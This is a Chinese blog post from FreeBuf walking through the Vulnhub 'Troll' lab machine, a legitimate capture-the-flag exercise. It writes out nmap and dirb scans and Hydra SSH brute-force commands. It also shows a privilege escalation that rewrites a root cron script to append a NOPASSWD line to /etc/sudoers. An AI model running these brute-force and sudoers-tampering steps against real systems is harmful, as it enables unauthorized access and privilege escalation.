freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Troll打靶思路详解(vulnhub)
CMing 2024-02-29 20:22:03 163151

Troll打靶思路详解(vulnhub)

第一步:信息收集--主机发现和端口扫描

使用nmap快速对局域网进行扫描来确定靶机IP

nmap -sn 192.168.31.0/24

确定靶机IP为192.168.31.69

再次使用nmap对靶机IP进行详细扫描

nmap -p- -sV -sT -O 192.168.31.69

结果如下

image

可以看到靶机开放了21,22,80这3个端口

首先对80端口所开放的web服务进行信息收集

查看web服务访问http://192.168.31.69/

image

通过dirb进行目录扫描

dirb http://192.168.31.69/

结果如下

image

访问http://192.168.31.69/secret/index.html

image

感觉又被嘲讽了

然后对21端口所开放的ftp服务进行信息收集

通过ftp 192.168.31.69命令来访问

我尝试使用root用户进行登入结果如下

image

可以看到仅支持anonymous(匿名用户)进行登入

所以我们通过用户名为anonymous密码为空进行登入

然后通过ls命令来查看里面的内容

image

最后对22端口所开放的ssh服务进行信息收集

使用Hydra进行弱口令爆破

hydra -L user.txt -P CommonWebAdminPass.txt -t 2 -vV -e ns 192.168.31.69 ssh

通过结果发现短时间内只能尝试3个账号的登录

第二步:数据分析--对FTP中的数据包进行分析

首先我们将数据包文件下载下来

get lol.pcap

image

然后我们通过wireshark打开lol.pcap文件可以看出为ftp的传输报文

通过 strings lol.pcap 来搜索文件里所包含的字符串

image

重点为

Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P
Sucks, you were so close... gotta TRY HARDER!

翻译:
好吧,好吧,好吧,你不就是一个聪明的小恶魔吗,你差点找到了 sup3rs3cr3tdirlol :-P
糟透了,你离得太近了......必须更加努力!

可以看到”sup3rs3cr3tdirlol :-P“是无法翻译的

第三步:WEB渗透--获取关于账号密码的信息

我们现在有ssh服务和web服务没有找到突破点,这个字符串不像用户名密码

所以我尝试访问http://192.168.31.69/sup3rs3cr3tdirlol

image

我们通过wget命令下载下来

wget http://192.168.31.69/sup3rs3cr3tdirlol/roflmao

还是通过strings命令来找文件中包含的字符串

strings roflmao

image
反复查看后感觉重点为

Find address 0x0856BF to proceed

翻译:
查找地址0x0856BF以继续

所以我们访问http://192.168.31.69/0x0856BF/

image

然后我们通过wget命令分别将其中内容下载下来

wget http://192.168.31.69/0x0856BF/good_luck/which_one_lol.txt

wget http://192.168.31.69/0x0856BF/this_folder_contains_the_password/Pass.txt

查看

image

第四步:后渗透--SSH登入与提权

ssh登入

刚刚我们信息收集已知短时间内只能尝试3个账号的登录

所以我们将用户名分为多个文件,每个文件分别有3个用户名

然后使用Hydra进行爆破

hydra -L user1.txt -P Pass.txt -t 2 -vV -e ns 192.168.31.69 ssh

hydra -L user2.txt -P Pass.txt -t 2 -vV -e ns 192.168.31.69 ssh

hydra -L user3.txt -P Pass.txt -t 2 -vV -e ns 192.168.31.69 ssh

hydra -L user4.txt -P Pass.txt -t 2 -vV -e ns 192.168.31.69 ssh

结果发现没有一个用户名能够使用密码“Good_job_:)”登录

可能Pass.txt文件名本身就是密码

因此我们再尝试用Pass.txt作为密码进行爆破

hydra -L user4.txt -P Pass.txt -t 2 -vV -e ns 192.168.31.69 ssh

image

可知账号为overflow 密码为Pass.txt

登入:ssh overflow@192.168.31.69 

增加shell的交互性:python -c "import pty;pty.spawn('/bin/bash')"

提权

查看当前用户的权限:sudo -l

image

发现突然被踢出了会话,猜测是有定时任务

查看:cat /etc/crontab

image

权限不被允许,无法查看。那就使用find命令查找定时任务相关的日志cronlog

find / -name cronlog 2>/dev/null

image

找到了查看文件

cat /var/log/cronlog

image

关键信息来了!这里有一个定时任务,会每两分钟运行一个名为cleaner.py的文件。我们搜索cleaner.py文件

find / -name cleaner.py 2>/dev/null

image

找到了查看文件

cat /lib/log/cleaner.py

image

这个文件通过os.system函数执行系统命令,对目录/tmp的删除,那么我们只要把os.system()中的参数修改为:

echo "overflow ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

我们通过vim进行编辑更改,再通过”:wq!"保存退出

image

等待最多两分钟后,再次运行sudo -l,即可发现overflow的用户变为了最高权限:

image

然后运行sudo /bin/bash即可拿到root的bash:

image

进入/root目录拿flag:

image

至此完结,撒花。

# 网络安全
本文为 CMing 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
CMing LV.4
这家伙太懒了,还未填写个人描述!
  • 9 文章数
  • 2 关注者
DC-3打靶思路详解(vulnhub)
2024-03-30
DC-2打靶思路详解(vulnhub)
2024-03-26
DC-1打靶思路详解(vulnhub)
2024-03-19
文章目录